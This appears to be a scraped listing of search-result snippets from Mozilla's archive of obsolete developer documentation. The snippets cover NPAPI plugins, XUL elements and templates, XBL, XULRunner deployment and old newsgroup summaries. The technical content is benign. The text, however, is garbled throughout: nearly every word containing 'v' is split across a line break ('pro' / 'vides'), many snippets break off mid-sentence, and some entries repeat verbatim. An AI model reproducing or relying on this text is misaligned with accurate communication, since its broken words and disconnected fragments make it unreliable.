...}; // component.dll on windows, libcomponent.so on linux, libcomponent.dylib on mac static char krealcomponent[] = moz_dll_prefix "component" moz_dll_suffix; // forward declaration of a con
vienience method to look up a function symbol.
... nsgetmoduleproc getmoduleproc = (nsgetmoduleproc)lookupsymbol(componentlib, "_nsgetmodule"); if (!getmoduleproc) return ns_error_failure; return getmoduleproc(acompmgr, alocation, aresult); } // con
vienience method grabbed from // http://mxr.mozilla.org/mozilla-central/source/xpcom/glue/standalone/nsgluelinkingosx.cpp .
Getting the page URL in NPAPI plugin - Archive of obsolete content
there's unfortunately no tri
vial way to do that, but you can still do it, by asking the browser for the page url during plugin initialization.
...there are at least 3 solutions (quoting newsgroup posts):
via window location from robert platt: // get the dom window object.
...tradeoffs: uses npapi only works in most browsers does not work in mozillas older than firefox 1.0
via npp_newstream from braden mcdaniel: if you want the uri of the resource for which the plug-in is invoked, the most npapi-friendly way to do that is to get it from the npstream that is passed to npp_newstream.
...
via dom from benjamin smedberg: the npapi gives you the ability to get access to the nsidomwindow object which contains the current plugin
via the npnvdomelement enum passed to npn_getvalue.
Bypassing Security Restrictions and Signing Code - Archive of obsolete content
these pri
vilege manager feature was not used much (aside from abuse), and its complexity made performance improvements difficult.
... signed script segregation was removed in bug 726125, the enablepri
vilege prompt was removed in bug 750859, and enablepri
vilege itself was nerfed in bug 757046.
... the pri
vilege manager has been deprecated in firefox 12 and disabled in firefox 17.
... sites that require additional permissions should now ask firefox users to install an extension, which can interact with non-pri
vileged pages if needed.
Working with BFCache - Archive of obsolete content
q: when a user clicks a link that replaces the
view in the current tab with a new page, what is the fate of the nsidomwindow supporting the
view they click on?
...or is the dom saved in some way as if the window was there but in
visible?
...where do they live while the page was in
visible?
...that might come from the http cache or not, depending on whether it's been e
victed; typically it does come from the http cache.
Conclusion - Archive of obsolete content
« pre
vious you now have a working mozilla extension installer!
... to test it, try installing the extension on a fresh copy of mozilla by loading the file in your mozilla browser (this works whether you load it from the web or from your local hard drive
via a file:/// url).
...for example, you need to change chrome://na
vigator/content/na
vigator.xul to chrome://browser/content/browser.xul.
... « pre
vious ...
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
directories inside classic.jar is one directory, skin, as well as two files, pre
view.png and icon.png.
...into this directory put the browser, global, communicator, help, and mozapps directories from above, as well as the icon.png and pre
view.png files.
... <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:editor"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:messenger"/> <rdf:li resource="urn:mozilla:skin:my_theme:na
vigator"/> save the file and exit the text editor.
... repackaging jar now all you need to do is repackage a jar file with the following directory structure, using your favorite archive manager to create a zip archive: /browser/* /communicator/* /global/* /help/* /mozapps/* /contents.rdf /install.rdf /icon.png /pre
view.png make sure not to just zip up the my_theme parent directory since that will cause the drag and drop install in the next section to fail without error messages.
Dehydra Object Reference - Archive of obsolete content
.fieldof variable object pro
vides the object being dereferenced, in the ast system.
...the following additional properties are available on functions: property type description .is
virtual true or "pure" true for
virtual methods, or "pure" for pure
virtuals (e.g.
...
virtual void foo() = 0;).
... type objects dehydra pro
vides detailed type objects.
Error Console - Archive of obsolete content
see setting up extension development en
vironment#development preferences for the preferences you should set if you want to see errors from firefox and extensions in the error console.
... manipulating data displayed in error console information displayed in error console can be accessed and manipulated through the console ser
vice.
... extensions can write to the error console from javascript using components.utils.reporterror, or if you're fine with logging to the os-pro
vided console, dump().
... alternatives console2 this extension pro
vides a replacement for error console, fixing many of its bugs and implementing long-wanted enhancement requests.
Clipboard - Archive of obsolete content
jetpack's clipboard support api pro
vides a standardized way for features to access the clipboard.
...the namespace associated with this api is jetpack.clipboard which pro
vides both read and write access to the clipboard.
...if flavor is pro
vided, the data is returned in that format.
...if flavor is pro
vided, the data is returned in that format.
Clipboard Test - Archive of obsolete content
lock; width:100px; vertical-align:top;font-weight:bold;} .method>.params>.param>.type:before{content: "type "; color: #888; font-weight:normal;} .method>.params>.param>.default{display:inline-block; width:100px; vertical-align:top;font-weight:bold;} .method>.params>.param>.default:before{content: "default "; color: #888;font-weight:normal;} ]]></style> clipboard jetpack's clipboard support api pro
vides a standardized way for features to access the clipboard.
...the namespace associated with this api is jetpack.clipboard which pro
vides both read and write access to the clipboard.
...if flavor is pro
vided, the data is returned in that format.
...if flavor is pro
vided, the data is returned in that format.
Clipboard - Archive of obsolete content
jetpack's clipboard support api pro
vides a standardized way for features to access the clipboard.
...the namespace associated with this api is jetpack.clipboard which pro
vides both read and write access to the clipboard.
...if flavor is pro
vided, the data is returned in that format.
...if flavor is pro
vided, the data is returned in that format.
Clipboard - Archive of obsolete content
jetpack's clipboard support api pro
vides a standardized way for features to access the clipboard.
...the namespace associated with this api is jetpack.clipboard which pro
vides both read and write access to the clipboard.
...if flavor is pro
vided, the data is returned in that format.
...if flavor is pro
vided, the data is returned in that format.
Microsummary XML grammar reference - Archive of obsolete content
warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this article pro
vides detailed information about the xml grammar used to build microsummary generators, describing each element and their attributes.
...generators installed from the web
via nssidebar::addmicrosummarygenerator are identified by the remote url from which they were downloaded, and firefox ignores the value of this attribute for them.
...when a generator is examined to determine whether or not it is able to summarize a page, the regular expressions pro
vided by the child elements are evaluated against the url of the page.
...for example, the regular expression http://www\.example\.com/ matches both the url http://www.example.com/ and the url http://www.e
vil.com/http://www.example.com/, but the regular expression ^http://www\.example\.com/ matches only the first of those two urls.
Scripting - Archive of obsolete content
this level of functionality is commonly called chrome-level pri
vileges.
... it means that the script has a higher level of pri
vilege than scripts in the web content and has access to the file system, clipboard and other parts of the native os.
... note: in the future, the webapp script may have lower pri
vileges.
... we are looking into the security aspects of the higher pri
vilege level.
PyDOM - Archive of obsolete content
the intent is to pro
vide similar semantics to js.
... an event handler like: <button onclick="print foo"/> should be able to reference 'foo'
via globals as shown.
...it should be ob
vious why you don't want to run http://e
vil.com/something_e
vil.py in your browser!
... inside chrome, you can use python
via either html or xul.
Reading textual data - Archive of obsolete content
converting read data if you read data from nsiscriptableinputstream as described on the file i/o code snippets page, you can convert it to utf-8 // sstream is nsiscriptableinputstream var str = sstream.read(4096); var utf8converter = components.classes["@mozilla.org/intl/utf8converterser
vice;1"].
... getser
vice(components.interfaces.nsiutf8converterser
vice); var data = utf8converter.converturispectoutf8 (str, "utf-8"); gecko 1.8 and newer reading strings starting with gecko 1.8 (seamonkey 1.0, firefox 1.5), you can use nsiconverterinputstream to read strings from a stream (nsiinputstream).
... reading lines the nsiunicharlineinputstream interface pro
vides an easy way to read entire lines from a unichar stream.
... earlier versions reading strings earlier versions of gecko do not pro
vide easy ways to read unicode data from a stream.
Table Cellmap - Archive of obsolete content
introduction the table layout use the cellmap for two purposes: quick lookup of table structural data store of the border collapse data the cellmap code is contained in nscellmap.cpp and nscellmap.h this document does currently describe only the quick lookup part of the game, border collapse is still far away cellmap data - over
view the entries in the cellmap contain information about the table cell frame corresponding to a given row and column number (celldata.h).
...a typical code segment to come from the table level down to the rowgroup level nscellmap* map = mfirstmap; while (map) { if (map->getrowcount() > rowindex) { // add your action here } rowindex -= map->getrowcount(); map = map->getnextsibling(); } data entry the usual way to populate the cellmap is
via nstableframe::insertrows.
... and finally the line iterator methods which are used for arrow na
vigation through a table.
... original document information author(s): bernd mielke last updated date: september 27, 2003 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Abc Assembler Tests - Archive of obsolete content
* * the original code is [open source
virtual machine.].
... * * contributor(s): * adobe as3 team * * alternatively, the contents of this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the pro
visions of the gpl or the lgpl are applicable instead * of those above.
... if you wish to allow use of your version of this file only * under the terms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the terms of the mpl, indicate your * decision by deleting the pro
visions above and replace them with the notice * and other pro
visions required by the gpl or the lgpl.
... if you do not delete * the pro
visions above, a recipient may use your version of this file under * the terms of any one of the mpl, the gpl or the lgpl.
Tamarin mercurial commit hook - Archive of obsolete content
hook use on every commit to your local repository, the hook will only check for
violations in any new / changed code.
... any untouched lines of code that
violate the check will be ignored.
... when a
violation is found the following will be displayed: > hg commit -m "change with a tab" tab(s) found in test/test.txt for rev 1458 (change 53543674b8e6): @@ -65,4 +65,6 @@ +# tab here ^ (n)o, (y)es, (a)llow tabs for current file are you sure you want to commit this change?
... [n]: note that the prompt gives you the options to abort the commit (no), allow the tab (or other
violation) on that particular line, or allow the
violation for all lines in that file.
XBL 1.0 Reference - Archive of obsolete content
the element with a binding specified, called the bound element, acquires the new beha
vior specified by the binding.
... functionally bindings should be correlated with beha
viors and
viewlink but being implemented as one integrated xml solution.
...the documentation process is still in progress: please keep it in your mind while using the pro
vided information.
... notes.html notes.xml notes.css
view this example download all files (.zip archive) need to ask to adjust the server - it gives "access denied" for zip files (?) references initial xbl 1.0 proposal submitted as a note to w3c (does not reflect mozilla implementation, nor future plans) xbl 2.0 project original document information last updated date: april 24, 2006 ...
Install script template - Archive of obsolete content
an xpt file because it is scriptable // http://mozilla.org/projects/plugins/scripting-plugins.html var component_file = "npmypluginscriptable.xpt"; var plugin_size = 2000; // (dll file) reserve a little extra so it is not required to update too often var component_size = 10; // (xpi file) reserve a little extra so it is not required to update too often var software_name="cult3d mozilla
viewer"; // plids (http://mozilla.org/projects/plugins/plugin-identifier.html) are coined by vendors.
... " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } } else { logcomment("cancelling current browser install due to lack of space..."); cancellinstall(); } // secondary install block, which sets up plugins and xpt in another location in addition to the current browser errblock2 = createsecondaryinstall(); // performinstall block, in which error conditions from pre
vious blocks are checked.
... * * @param empty param list **/ function createsecondaryinstall() { // use getfolder in such a way that it creates c:\winnt\system32\myplugin secondaryfolder = getfolder("win system", company_name); // if secondaryfolder is null, then there has been an error if(!secondaryfolder) return nosecondaryinstall; else { // we have admin pri
vileges to write to the win system directory // so we will set up dll and xpt in their new home errblock2 = addfile (plid, version, plugin_file, secondaryfolder, null); // something went wrong if errblock2 is not 0 if (errblock2!=0) { logcomment("could not add " + plugin_file + " to " + secondaryfolder + ":" + errblock2); return errblock2; } // start installing xpt file if thi...
...software\mozillaplugins\@cycore.com/cult3d
viewer myregstatus = winreg.createkey(plidpath+"\\"+plidid, ""); if (myregstatus != 0) { logcomment("moz registerplid: could not create the subkey "+plidid+" to "+plidpath+".
panel.type - Archive of obsolete content
should be one of the following: autocomplete specify this for a panel that pro
vides a tree for an autocomplete element.
... autocomplete-richlistbox specify this for a panel that pro
vides a richlistbox for an autocomplete element.
... arrow specify this for a panel that pro
vides an arrow pointing at its anchor.
... for example, the site identity panel that appears when you click on the fa
vicon in the url bar in firefox is an arrow panel: note: the arrow will draw as long as the panel doesn't overlap the anchor.
findbar - Archive of obsolete content
attributes browserid, findnextaccesskey, findpre
viousaccesskey, highlightaccesskey, matchcaseaccesskey properties browser, findmode methods close, onfindagaincommand, open, startfind, togglehighlight example <browser type="content-primary" flex="1" id="content" src="about:blank"/> <findbar id="findtoolbar" browserid="content"/> attributes browserid type: string the id of the browser element to which the fin...
... findpre
viousaccesskey type: string the access key for the "find pre
vious" toolbar button in the findbar.
... onfindagaincommand( findpre
vious ) return type: no return value call this method to handle your application's "find next" and "find pre
vious" commands.
... you should specify true as the input parameter to perform a "find pre
vious" operation, or false to perform a "find next." startfind( mode ) return type: no return value call this method to handle your application's "find" command.
Namespaces - Archive of obsolete content
xml namespaces pro
vide a way to distinguish duplicate element and attribute names.
...to quote wikipedia: "in general, a namespace is an abstract container pro
viding context for the items ...
... it holds and allows disambiguation of items ha
ving the same name." if you are familiar with c++ namespaces, java packages, perl packages, or python module importing, you are already familiar with the namespace concept.
... <foo bar="value"> <element xmlns="namespace!" baz="value"> <element quux="value"/> </element> </foo> bar is ob
viously not in a namespace.
MoveResize - Archive of obsolete content
mo
ving and resizing a popup menus and popups have methods which may be used to move and resize them.
... mo
ving a popup once a popup is open, it can be moved using the popup's moveto method.
... for instance, the following example will move a popup to the upper left corner of the screen: popup.moveto(0, 0); the position may be shifted so as not to cover user interface elements pro
vided by the operating system, such as the menu bar or the task bar.
...you can see this effect in a xul application by mo
ving a window near the bottom of the screen and clicking a menu or button that has a menu.
Panels - Archive of obsolete content
only buttons (and toolbarbuttons) have this automatic beha
viour which opens the popup when pressed.
... <panel id="search-panel" noautohide="true"> <textbox id="search"/> <button label="search" oncommand="dosearch();"/> <button label="cancel" oncommand="this.parentnode.hidepopup();"/> </panel> because the panel can no longer be closed by clicking elsewhere, the panel should always pro
vide a means to close the panel itself.
...in addition, the norestorefocus attribute should be set to true in order to prevent the pre
viously focused element from being refocused.
... this process of remo
ving the focus when opening and closing a popup occurs after the popupshowing event or popuphiding event is fired, which means that if those events are cancelled, the focus is not adjusted.
Tooltips - Archive of obsolete content
tooltips a tooltip is used to pro
vide descriptive help to the user about the control that the mouse is over.
... for instance, mo
ving the mouse over top of a toolbar button and waiting for a second can display a small popup label containing text describing the button's function.
...this is a useful means of pro
viding additional details about a user interface without cluttering up the main interface.
... tooltips in trees as the entire body of the tree is displayed using a single element, the tooltip and tooltiptext attributes do not apply to indi
vidual rows or cells of a tree.
Attribute Substitution - Archive of obsolete content
« pre
viousnext » so far, attribute replacement in an action body has been used to replace an entire attribute with the value of a variable.
...in a stylesheet, you could set properties for each of these classes such that different values appear differently without ha
ving to use multiple rules.
...for instance, if the template contained: <description><textnode value="?description"/></description> the resulting generated content might be: <description>
view from the top of the tower looking east of the doges palace</description> note that the textnode has been replaced with the substituted value attribute.
... « pre
viousnext » ...
Multiple Rule Example - Archive of obsolete content
« pre
viousnext » the most common use of multiple rules is to apply different action bodies to different results.
...the resulting data will be: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = palace from above ?description =
view from the top of the tower looking east of the doges palace, ?date = 2005-04-30t14:55:00+01.00) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?phototitle = palace from above) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg, ?phototitle = canal) (?start = http://www...
...looking back at the results listed above, the palace photo appears twice so the second one will be removed, lea
ving only three matches.
... « pre
viousnext » ...
Recursive Generation - Archive of obsolete content
« pre
viousnext » in the pre
vious example, the template builder generated an extra set of two buttons for the second row.
...naturally, the parent will be the new result's content, rather than the outer containing element, and the starting point will be the endpoint of the pre
vious iteration.
...however, since c is the only element that will end up ha
ving any additional content, only the second <hbox> element will have additional children added to it.
... « pre
viousnext » ...
Simple Query Syntax - Archive of obsolete content
« pre
viousnext » when iterating over the children of an rdf container, there is a simpler query syntax which may used.
...simple rdf graph na
vigation such as this is common, so the simpler syntax is usually used in this situation since it avoids extra tags, although the simple syntax is not more or less efficient, at least when a single query is involved.
...of course, it should be ob
vious that this causes the value attribute to be set to the photo's title.
... « pre
viousnext » ...
Static Content - Archive of obsolete content
« pre
viousnext » creating a menuitem in the filter list to show all items is fairly easy.
...df-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <menupopup> <menuitem uri="?country" label="?countrytitle" value="?country"/> </menupopup> </action> </template> </menulist> the only difference between the pre
vious example and this one is that the menulist element has some additional content added before the template.
... static content example let's look at another example, invol
ving radio buttons.
... « pre
viousnext » ...
Complete - Archive of obsolete content
it pro
vides a user interface in two languages (english and french).
...it pro
vides all five custom toolbar buttons on all the toolbars, and it pro
vides corresponding menu choices in seamonkey's chatzilla window.
...the css stylesheet uses the corresponding selector #all-custom-1 to pro
vide the appropriate image: button-1.png file structure in the new file structure, there is a skin directory for all the themes.
...testing a theme to test a theme in seamonkey, choose
view – apply theme, then choose the theme.
Adding Properties to XBL-defined Elements - Archive of obsolete content
« pre
viousnext » next, we'll find out how to add custom properties to xbl-defined elements.
... the xbl interface javascript and the dom pro
vide access to get and set the properties of elements.
...within the implementation, you define indi
vidual field, property, and method elements, one for each one that you want.
... « pre
viousnext » ...
Advanced Rules - Archive of obsolete content
« pre
viousnext » this section describes the more advanced rule syntax.
...the condition will match if all of the triples pro
vide values.
...you can
view the rdf file separately: wheater.rdf example 1 : source <tree id="weathertree" flex="1" datasources="weather.rdf" ref="http://www.xulplanet.com/rdf/weather/cities"> <treecols> <treecol id="city" label="city" primary="true" flex="1"/> <treecol id="pred" label="prediction" flex="1"/> </treecols> <template> <rule> <conditions> <content uri="?list"/> ...
... « pre
viousnext » ...
Creating an Installer - Archive of obsolete content
« pre
viousnext » this section will describe packaging a xul application into an installer.
... xpinstall packages mozilla pro
vides a mechanism which can be used to package xul windows, scripts, skins and other files into single file installers.
...the components pro
vided with mozilla are stored in this manner.
... « pre
viousnext » ...
Introduction - Archive of obsolete content
this tutorial will demonstrate creating a simple find file user interface, much like that pro
vided by the macintosh's sherlock or the find file dialog in windows.
... xul pro
vides the ability to create most elements found in modern graphical interfaces.
...this is done using a feature of xul called an overlay, which allows the ui pro
vided from one source, in this case, the firefox browser, to be merged together with the ui from the extension.
...mozilla applications such as firefox pro
vide an extension manager which allows packages to be installed without ha
ving to write a lot of complex code.
Modifying the Default Skin - Archive of obsolete content
« pre
viousnext » as of firefox 69, you must set the toolkit.legacyuserprofilecustomizations.stylesheets preference to true in about:config in order to load userchrome.css or usercontent.css files.
... skin basics a skin is a set of style sheets, images and beha
viors that are applied to a xul file.
...firefox pro
vides a skin by default, and you may download others.
... « pre
viousnext » ...
Property Files - Archive of obsolete content
« pre
viousnext » in a script, entities cannot be used.
... stringbundles you could write the code to read properties yourself, however xul pro
vides the stringbundle element which does this for you.
... in the next section, we will look at xbl, which can be used to define the beha
vior of an element.
... « pre
viousnext » see also how to localize html pages, xul files, and js/jsm files from bootstrapped add-ons: bootstrapped extensions :: localization (l10n) ...
Splitters - Archive of obsolete content
« pre
viousnext » we'll now look at how to add splitters to a window.
... splitter example an example would be helpful here: example 1 : source
view <hbox flex="1"> <iframe id="content-1" width="60" height="20" src="w1.html"/> <splitter collapse="before" resizeafter="farthest"> <grippy/> </splitter> <iframe id="content-2" width="60" height="20" src="w2.html"/> <iframe id="content-3" width="60" height="20" src="w3.html"/> <iframe id="content-4" width="60" height="20" src="w4.html"/> </hbox> here, four iframes have been c...
... normal state: collapsed state: find files example so far : source
view next, we'll find out how to create toolbars.
... « pre
viousnext » ...
XUL Event Propagation - Archive of obsolete content
introduction xul events were introduced in a very general way in a pre
vious xulnote.
...the availability of event listeners is also somewhat pre-determined, though xul pro
vide generalized event listeners (i.e., oncommand event listeners) for most of the elements in the widget hierarchy.
...pup> <menuitem oncommand="alert('new item alert')" label="new" /> <menuitem label="open" /> <menuitem oncommand="alert('close handler')" label="close" /> </menupopup> </menu> <menu class="menu" label="edit"> <menupopup> <menuitem oncommand="alert('edit source handler')" label="edit source" /> <menuitem label="reload" /> <menuitem label="
view source" /> </menupopup> </menu> </vbox> <spring flex="1" /> </vbox> </window> in this file, the lowest-down, or "leaf" elements are the menuitems.
... note: the dom pro
vides the addeventlistener method for creating event listeners on nodes that do not otherwise supply them.
description - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
... for user editable menulist elements, the contents, as
visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as
visible to the user, are read and set using the textbox.value and menulist.value syntax.
label - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used to pro
vide a label for a control element.
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...for textbox and user editable menulist elements, the contents, as
visible to the user, are read and set using the textbox.value and menulist.value syntax.
... related elements description attributes label interfaces nsiaccessiblepro
vider, nsidomxullabelelement notes labels are not focusable note: starting in gecko 2.0, labels are properly not focusable.
scale - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
... for user editable menulist elements, the contents, as
visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as
visible to the user, are read and set using the textbox.value and menulist.value syntax.
scrollbox - Archive of obsolete content
e="03 this continent, a new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the next bunch of labels is similar, but if the container doesn't give enough room for it, scroll bars will sprout out of nowhere and allow the user to scroll around the big content in the small
view space.
... scrolling a child element into
view see element.scrollinto
view.
... prior to gecko 19, scrollinto
view() didn't exist in xul.
... do this instead: var xpcominterface =scrollbox_element.boxobject.queryinterface( components.interfaces.nsiscrollboxobject); xpcominterface.ensureelementis
visible(child_element_to_make_
visible); see the nsiscrollboxobject api for other scroll-related methods.
toolbarbutton - Archive of obsolete content
relevant accessbility guidelines all toolbar functionality should be duplicated elsewhere in the application where possible, pro
vide keyboard alternatives.
...if you wish to have different beha
vior for how the states are adjusted, set the autocheck attribute to false and adjust the state with a script.
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...all(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox interfaces nsiaccessiblepro
vider, nsidomxulbuttonelement ...
tooltip - Archive of obsolete content
you wouldn't normally need to use this property as all of its functions are available
via the popup itself.
...four values are possible: closed: the popup is closed and not
visible.
... open: the popup is open and
visible on screen.
...an unanchored popup appears at the position specified by x and y, relative to the
viewport of the document containing the popup node.
treecell - Archive of obsolete content
attributes editable, label, mode, properties, ref, src, value attributes editable type: boolean allows the contents of indi
vidual cells in the column to be changed, especially useful when <treecol type="checkbox">.
... also useful for disabling editing of indi
vidual treecells.
...be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
... for user editable menulist elements, the contents, as
visible to the user, are read and set using the menulist.value syntax.
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
the only ob
vious reason for this would be if you need to implement part of your application in c++, as described in the introduction to the now classic creating custom firefox extensions with the mozilla build system.
...building your application if you decided that you needed a custom-built xulrunner and read the pre
vious section then you're way ahead of the game.
...follow the example in mccoy carefully since xulrunner is sensitive about ha
ving exactly the right files in exactly the right packages.
...rather than renaming files all the time, you can use the mozconfig en
vironment variable to specify which one to use.
Debugging a XULRunner Application - Archive of obsolete content
/* debugging prefs */ pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); don't forget to change these preferences back to their defaults when you've finished debugging; lea
ving them as-is can significantly harm performance and usability.
... to log js errors to disk, set the en
vironment variable xre_console_log to the path to the filename.
... jsdump(str) (function defined below) will output str as a "message" with a speech bubble icon next to it: function jsdump(str) { components.classes['@mozilla.org/consoleser
vice;1'] .getser
vice(components.interfaces.nsiconsoleser
vice) .logstringmessage(str); } for more information about the error console see the error console and browser console article.
...add the following code to your xul app: components.utils.import('resource://gre/modules/devtools/dbg-server.jsm'); if (!debuggerserver.initialized) { debuggerserver.init(); // don't specify a window type parameter below if "na
vigator:browser" // is suitable for your app.
Deploying XULRunner - Archive of obsolete content
current xulrunner is a stable developer pre
view release.
...the responsibility still lies with the developer to pro
vide the correct version of xulrunner per platform.
... xulrunner 38 and earlier in xulrunner 38 and earlier, xulrunner is pro
vided in a mac os x framework bundle, which is placed in your application bundle's frameworks directory.
... finally : you can use any paint or graphics utility to create your application's icon, which should be pro
vided as a 512 by 512 pixel png file.
2006-11-03 - Archive of obsolete content
does firefox pro
vide any classes/objects or events to windows wmi ?
... a user asks if firefox pro
vides any classes/objects or events to windows wmi.
... source code for the nsinstall contained in moztools a user asks for ad
vice about building nsinstall on windows.
... xml in firefox is a major problem a user draws attention to what they think is a bug, but the developers say it's proper browser beha
viour.
2006-11-04 - Archive of obsolete content
firefox pro
vide any classes/objects or events to windows wmi ?
... a user asks if firefox pro
vides any classes/objects or events to windows wmi.
... code for the nsinstall contained in moztools a user asks for ad
vice about building nsinstall on windows.
... in firefox is a major problem a user draws attention to what they think is a bug, but the developers say it's propwer browser beha
viour.
2006-12-01 - Archive of obsolete content
basic feature that i think is a must in any web broswer a discussion revol
ving around the idea of ha
ving firefox automatically convert mistaken non-english characters to english so that web addresses will be completed.
... mozstorage documentation up a re
visted discussion surround the mozstorage documentation.
... rich results for searches a proposal to implement "rich results", a set of registered sites that would pro
vide information as it relates to a user's search.
... a question regarding ha
ving an internal website use universalbrowserwrite on a local intranet.
2006-10-27 - Archive of obsolete content
discussions removal of the nn4.6 table border color quirk discussion on remo
ving the nn 4.6 table boarder color quirk, which currently causes a specific markup to produce a green boarder instead of a gray one.
... help for getting html element width info discussion on retrie
ving width information on html elements when using the gecko engine.
... multiple presshells discussion on why current interfaces allow for multiple presshells and how the relationships work for the following objects: docshell, presshell, prescontext, document, domwindow, widget, docshell and content
viewer.
...the presshells are currently used for printing, but should or could have been used for print pre
views and multiple
views in editors.
NPSetWindowCallbackStruct - Archive of obsolete content
contains information about the plug-in's unix window en
vironment.
... syntax typedef struct { int32 type; display* display;
visual*
visual; colormap colormap; unsigned int depth; } npsetwindowcallbackstruct; fields the data structure has the following fields: type always contains np_setwindow.
...
visual standard x toolkit attribute.
... x
visual for the plug-in window or drawable.
Syndicating content with RSS - Archive of obsolete content
when you make a blog, an internet radio show, or an internet tele
vision show, you are syndicating.
...this article pro
vides a simple guide to using rss to syndicate web content.
... the http protocol, one of the core technologies behind the web, pro
vides a way of prioritizing the content type that an http client prefers to receive.
... this technique takes advantage by ha
ving the client prefer rss (over html or other formats).
Digital Signatures - Archive of obsolete content
figure 1 shows a simplified
view of the way a digital signature can be used to validate the integrity of signed data.
...to validate the integrity of the data, the recei
ving software first uses the signer's public key to decrypt the hash.
...(information about the hashing algorithm used is sent with the digital signature, although this isn't shown in the figure.) finally, the recei
ving software compares the new hash against the original hash.
...this quality of digital signatures pro
vides a high degree of nonrepudiation; that is, digital signatures make it difficult for the signer to deny ha
ving signed the data.
Threats - Archive of obsolete content
a threat is any circumstance or event with the potential to adversely impact data or systems
via unauthorized access, destruction, disclosure, or modification of information, and/or denial of ser
vice.
...business needs have changed the way websites store sensistive data, with more usage of cloud ser
vices.
...for example, a mail which appears to be to be sent from a bank, asking to verify your identity by gi
ving away your private information.
... link: red hat certificate system common criteria certification 8.1: deployment, planning, and installation original document information author(s): joint task force transformation initiative title: national institute of standards and technology (nist) special publication 800-30 re
vision 1, guide for conducting risk assessments last updated date: september 2012 copyright information: this document is not subject to copyright.
Tamarin Tracing Build Documentation - Archive of obsolete content
$ make cppflags=-davmplus_verbose windows mobile to build for arm: $ python ../configure.py --target=arm-windows --enable-shell; make to build for thumb: $ python ../configure.py --target=thumb-windows --enable-shell; make platform-specific builds project files for specific platforms/ides (microsoft
visual studio, xcode, etc) are included in the source tree under tamarin-tracing/platform, but are not formally supported.
...request a build
via the form at http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm user email: your email address.
...re
vision: specify the re
vision number that will be built.
...description: self explanatory check the status of the build @ http://tamarin-builds.mozilla.org/sandbox/ tryserver etiquette the sandbox is not a good substitute for running the regression tests locally to catch ob
vious problems.
Browser Feature Detection - Archive of obsolete content
browser sniffing
via api name detection the following tables list the api names defined for specific w3c dom apis and lists the percentage of names that your browser actually defines followed by a list of each of the api names tested along with an indication of whether the name was defined for your browser.
...eader true false false speaknumeral true false false speakpunctuation true false false speechrate true false true stress true false false tablelayout true true true textshadow true false true top true true true unicodebidi true true true
visibility true true true voicefamily true false true volume true false true widows true false true zindex true true true test code // document properties that are used to determine // support levels var _features = { 'domcore1': [ {name: 'doctype', 'supported': false}, {name: 'implementation', 'supported':...
...e: 'speakheader', 'supported': false}, {name: 'speaknumeral', 'supported': false}, {name: 'speakpunctuation', 'supported': false}, {name: 'speechrate', 'supported': false}, {name: 'stress', 'supported': false}, {name: 'tablelayout', 'supported': false}, {name: 'textshadow', 'supported': false}, {name: 'top', 'supported': false}, {name: 'unicodebidi', 'supported': false}, {name: '
visibility', 'supported': false}, {name: 'voicefamily', 'supported': false}, {name: 'volume', 'supported': false}, {name: 'widows', 'supported': false}, {name: 'zindex', 'supported': false} ] }; function supports(object, featureset) { var i; var features = _features[featureset]; var level = 0; if (!features) return level; for (i = 0; i < features.length; i++) if (typeof(objec...
...window.onerror = null; document.write('<p><b> your browser ' + na
